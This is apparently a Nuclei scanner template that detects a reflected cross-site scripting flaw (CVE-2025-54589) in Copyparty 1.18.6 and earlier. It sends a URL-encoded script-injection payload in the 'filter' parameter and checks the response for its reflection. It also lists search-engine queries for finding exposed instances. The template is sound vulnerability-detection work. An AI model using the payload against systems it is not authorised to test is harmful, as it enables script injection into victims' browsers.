id: CVE-2025-54589

info:
  name: Copyparty <=1.18.6 - Cross-Site Scripting
  author: s-cu-bot
  severity: medium
  description: |
    Copyparty before 1.18.7 is vulnerable to reflected cross-site scripting (XSS) via the 'filter' parameter in the '/?ru' endpoint. Unsanitized user input is reflected in the HTML response, allowing attackers to execute arbitrary JavaScript in the context of the victim's browser.
  remediation: |
    Upgrade Copyparty to version 1.18.7 or later to mitigate this vulnerability.
  reference:
    - https://github.com/9001/copyparty
    - https://secalerts.co/vulnerability/CVE-2025-54589
    - https://github.com/9001/copyparty/security/advisories/GHSA-8mx2-rjh8-q3jq
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54589
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
    cvss-score: 6.3
    cve-id: CVE-2025-54589
    cwe-id: CWE-79
    cpe: cpe:2.3:a:copyparty_project:copyparty:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: copyparty_project
    product: copyparty
    shodan-query: http.title:"copyparty"
    fofa-query: title="copyparty"
    google-query: intitle:"copyparty"
  tags: cve,cve2025,xss,copyparty

http:
  - method: GET
    path:
      - "{{BaseURL}}/?ru&filter=%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'filter": "</script><script>alert(document.domain)</script>'
          - 'control-panel'
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008af4bca4f363dd3577c686ab93f9b2ea0ddf3e0be56f3957dcf63ad864e0c3a8022100bc0a140af3e9496fc5157c56c5faa7a943ad458b07e20481f46fb2da5c0476e7:922c64590222798bb761d5b6d8e72950